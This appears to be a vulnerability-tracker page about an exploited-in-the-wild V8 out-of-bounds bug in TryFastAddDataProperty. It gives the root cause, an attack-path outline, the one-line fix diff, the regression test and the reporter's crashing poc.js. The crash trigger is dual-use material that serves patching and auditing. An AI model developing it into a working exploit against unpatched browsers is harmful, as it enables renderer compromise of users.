High patch-now ✔︎ verified CVSS 8.8 chrome OOB CISA KEV ⚠️ Exploited in the wild 📄 Reporter bug report 🔧 Commit mapped 🧬 Optimizer reuses a type assumption across a map change

Overview

High
Severity
8.8
CVSS
Yes
Exploited ITW
Fixed
Fix Status
ImpactOut of bounds memory access in V8
DescriptionOut of bounds memory access in V8
ComponentV8
Sub-componentObjects
Bug ClassOOB
Action tierpatch-now — exploited in the wild / KEV (itw) — real-world evidence overrides analysis — upheld by independent review by AI
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Independent review by AIConfirmed
Reviewer notes: Root cause matches diff exactly (abort when is_dictionary_map after PrepareForDataProperty). RCE/info-leak escalation is inferred, not shown by diff; provided advisory text itself does not state in-the-wild exploitation.
A second, independent AI reviewer (not a human) re-derived this analysis from the fixing commit and the vendor advisory, looking for errors.
Tracker506689381
Fix commit3c869652b039 (v8/v8) +21/-0
CWECWE-125, CWE-787 (Out-of-bounds read, Out-of-bounds write)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVListed
Credited303f06e3
Reported2026-04-27 · bounty $55000 (per vendor advisory)
Fix landed2026-05-04 (public git)
Disclosed2026-06-08
Patch gap35 days — fix public in source before the advisory

Background

Hidden class (`Map`)
V8 attaches a Map to every object describing its shape; adding a property normally follows a fast transition to a new Map sharing descriptors.
Dictionary map
when an object’s shape becomes unpredictable, V8 normalizes it into a slow, hash-table-backed Map (is_dictionary_map()), storing properties in a NameDictionary rather than in-object slots.
`TryFastAddDataProperty`
a fast path in src/objects/js-objects.cc that adds a data property by taking a precomputed transition and calling JSObject::MigrateToMap on the resulting Map.
Class fields on `extends Function`
a subclass of Function whose instance is a constructor-created function object; installing its class fields drives repeated fast property additions.

Root Cause Analysis

TryFastAddDataProperty computes a target Map, then calls Map::PrepareForDataProperty to reconfigure the last-added descriptor (for example promoting a field’s representation from Smi to Double when the initial value changes between instantiations). The code assumed PrepareForDataProperty returns a compatible fast transition map and unconditionally passed its result to JSObject::MigrateToMap. However, PrepareForDataProperty may instead normalize the map, returning a slow is_dictionary_map() dictionary map. Migrating an object to a dictionary map along this fast path violates the fast-path invariant that the object still has in-object property storage matching the descriptor layout, so the subsequent property write operates against a mismatched, dictionary-backed layout.

The fix aborts the fast path with return false whenever the prepared map is a dictionary map, forcing the standard slow property-addition path to handle the write correctly.

Key insight
Map::PrepareForDataProperty is not guaranteed to yield a fast transition map; it can normalize to a dictionary map, and TryFastAddDataProperty treated that slow map as if it were still fast, corrupting the object’s property storage.

Attack Path

  1. Craft the class shape Define class C extends Function with a computed class field so instantiation exercises the fast data-property transition path.
  2. Establish the transition Create a first instance so V8 records the field’s transition (MapA -> MapB) with a Smi representation.
  3. Force reconfiguration Change the field’s value to a Double before creating a second instance, so TryFastAddDataProperty reconfigures the descriptor via Map::PrepareForDataProperty.
  4. Trigger normalization Cause PrepareForDataProperty to normalize MapB into a dictionary map, which the unpatched fast path then migrates to and writes against, producing out-of-bounds/type-confused property storage access.
  5. Exploit the corruption Leverage the resulting memory corruption for information disclosure or control-flow hijacking in the renderer.

Impact Assessment

An out-of-bounds access arising from migrating an object to a slow dictionary map on the fast property-addition path can corrupt V8 heap object state, enabling memory disclosure or write primitives leading to remote code execution in the renderer sandbox. This is a high-severity V8 flaw reachable from ordinary JavaScript. It has been exploited in the wild as a 0-day.

Changed Functions

FunctionChangeNotes
C
test/mjsunit/regress/regress-crbug-506689381.js
modified

Files Changed

  • src/objects/js-objects.cc
  • test/mjsunit/regress/regress-crbug-506689381.js

Audit Directions

  • Unchecked results of normalization-capable helpers
    Audit call sites of Map::PrepareForDataProperty, Map::ReconfigureExistingProperty, and similar routines that may return a dictionary map, ensuring callers on fast paths check is_dictionary_map() before assuming a fast transition.
  • Representation reconfiguration on repeated instantiation
    Review fast property-addition paths where a field’s representation can change (Smi to Double/Tagged) between object creations, since these trigger in-place Map reconfiguration that can normalize.
  • `extends Function` / callable objects with class fields
    Scrutinize property installation on constructor-created function objects and other exotic receivers where fast-path assumptions about in-object storage may not hold.
From 3c869652b039fc1fc9fbe035c6af879317e8b9f3 Mon Sep 17 00:00:00 2001
From: Leszek Swirski <leszeks@chromium.org>
Date: Mon, 04 May 2026 12:27:58 +0200
Subject: [PATCH] [objects] Abort TryFastAddDataProperty if map becomes slow

When class fields are added to a constructor-created function object
when the class extends Function, TryFastAddDataProperty is invoked
to perform a fast transition. However, Map::PrepareForDataProperty may
instead normalize the map and return a slow dictionary map.

This CL fixes the issue by aborting the fast transition in
TryFastAddDataProperty and returning false if
Map::PrepareForDataProperty returns a dictionary map, falling back
to the standard slow property addition path.

TAG=agy
CONV=7233c224-ccbc-421c-88b3-34be1f425294

Change-Id: If323afa0297782cd7a13efb02368e0dfdec00707
Fixed: 506689381
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7807043
Commit-Queue: Leszek Swirski <leszeks@chromium.org>
Reviewed-by: Igor Sheludko <ishell@chromium.org>
Auto-Submit: Leszek Swirski <leszeks@chromium.org>
Cr-Commit-Position: refs/heads/main@{#107009}
---

diff --git a/src/objects/js-objects.cc b/src/objects/js-objects.cc
index 876ad24..2d37866 100644
--- a/src/objects/js-objects.cc
+++ b/src/objects/js-objects.cc
@@ -3704,6 +3704,7 @@
   InternalIndex descriptor = new_map->LastAdded();
   new_map = Map::PrepareForDataProperty(isolate, new_map, descriptor,
                                         PropertyConstness::kConst, value);
+  if (new_map->is_dictionary_map()) return false;
   JSObject::MigrateToMap(isolate, object, new_map);
   // TODO(leszeks): Avoid re-loading the property details, which we already
   // loaded in PrepareForDataProperty.
diff --git a/test/mjsunit/regress/regress-crbug-506689381.js b/test/mjsunit/regress/regress-crbug-506689381.js
new file mode 100644
index 0000000..6ba2dc8
--- /dev/null
+++ b/test/mjsunit/regress/regress-crbug-506689381.js
@@ -0,0 +1,20 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+let key = 'AA';
+let value = 2;
+class C extends Function {
+  [key] = value;
+}
+
+// First object creation triggers transition MapA----(AA, kData, SMI)--->MapB
+let o1 = new C('\'use strict\'');
+
+value = 1.1;
+
+// Second object creation triggers TryFastAddDataProperty() which reconfigures
+// the property from Smi to Double. This reconfigures MapB in-place (or
+// normalizes it). TryFastAddDataProperty must not crash if the map is
+// normalized during preparation.
+let o2 = new C('\'use strict\'');
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/regress/regress-crbug-506689381.js b/test/mjsunit/regress/regress-crbug-506689381.js
new file mode 100644
index 0000000..6ba2dc8
--- /dev/null
+++ b/test/mjsunit/regress/regress-crbug-506689381.js
@@ -0,0 +1,20 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+let key = 'AA';
+let value = 2;
+class C extends Function {
+  [key] = value;
+}
+
+// First object creation triggers transition MapA----(AA, kData, SMI)--->MapB
+let o1 = new C('\'use strict\'');
+
+value = 1.1;
+
+// Second object creation triggers TryFastAddDataProperty() which reconfigures
+// the property from Smi to Double. This reconfigures MapB in-place (or
+// normalizes it). TryFastAddDataProperty must not crash if the map is
+// normalized during preparation.
+let o2 = new C('\'use strict\'');
Loading diff…

Original Bug Report

reported by hu...@gmail.com

V8 TryFastAddDataProperty descriptor-array OOB access

REPRODUCE

poc.js:

let key = "AA";
let value = 2;
class C extends Function {
    [key] = value;
}
for (let i = 0; i < 5; i++) {
    function f() {
        value = +f;
    }
    new C("'use strict'");
    f();
}

V8 must be built with a debug configuration. Execute v8 as follows:

../x64.debug/d8 \
    ./poc.js

This will result in the following crash:

#
# Fatal error in ../../src/objects/descriptor-array-inl.h, line 282
# Debug check failed: descriptor_number.as_int() < number_of_descriptors() (3 vs. 0).
#
#
#
#FailureMessage Object: 0x7fffffffb088
==== C stack trace ===============================

    ../x64.debug/d8(v8::base::debug::StackTrace::StackTrace()+0x29) [0x555565fedbe9]
    ../x64.debug/d8(+0x10a94acd) [0x555565fe8acd]
    ../x64.debug/d8(v8::base::PrintStackTraceIfAvailable()+0x14) [0x555565fc3444]
    ../x64.debug/d8(V8_Fatal(char const*, int, char const*, ...)+0x1f9) [0x555565fc3bf9]
    ../x64.debug/d8(+0x10a6f4bc) [0x555565fc34bc]
    ../x64.debug/d8(V8_Dcheck(char const*, int, char const*)+0x4d) [0x555565fc3cfd]
    ../x64.debug/d8(v8::internal::DescriptorArray::GetDetails(v8::internal::InternalIndex)+0x67) [0x55555f5e5857]
    ../x64.debug/d8(+0xb0757a4) [0x5555605c97a4]
    ../x64.debug/d8(v8::internal::JSObject::CreateDataProperty(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSObject>, v8::internal::PropertyKey, v8::internal::DirectHandle<v8::internal::Object>, v8::Maybe<v8::internal::ShouldThrow>)+0x7d) [0x5555605b733d]
    ../x64.debug/d8(v8::internal::JSReceiver::CreateDataProperty(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::JSReceiver>, v8::internal::PropertyKey, v8::internal::DirectHandle<v8::internal::Object>, v8::Maybe<v8::internal::ShouldThrow>)+0xd8) [0x5555605ad5f8]
    ../x64.debug/d8(v8::internal::JSReceiver::CreateDataProperty(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::Union<v8::internal::Smi, v8::internal::HeapNumber, v8::internal::BigInt, v8::internal::String, v8::internal::Symbol, v8::internal::Boolean, v8::internal::Null, v8::internal::Undefined, v8::internal::JSReceiver>>, v8::internal::PropertyKey, v8::internal::DirectHandle<v8::internal::Object>, v8::Maybe<v8::internal::ShouldThrow>)+0x146) [0x5555605b72a6]
    ../x64.debug/d8(v8::internal::Runtime::DefineObjectOwnProperty(v8::internal::Isolate*, v8::internal::DirectHandle<v8::internal::Union<v8::internal::Smi, v8::internal::HeapNumber, v8::internal::BigInt, v8::internal::String, v8::internal::Symbol, v8::internal::Boolean, v8::internal::Null, v8::internal::Undefined, v8::internal::JSReceiver>>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::DirectHandle<v8::internal::Object>, v8::internal::StoreOrigin)+0x58a) [0x555560aea4ba]
    ../x64.debug/d8(+0xb59a851) [0x555560aee851]
    ../x64.debug/d8(v8::internal::Runtime_DefineObjectOwnProperty(int, unsigned long*, v8::internal::Isolate*)+0x129) [0x555560aee669]
    ../x64.debug/d8(+0xfa73d3d) [0x555564fc7d3d]

CREDIT INFORMATION

Reporter credit: [303f06e3]

View on issue tracker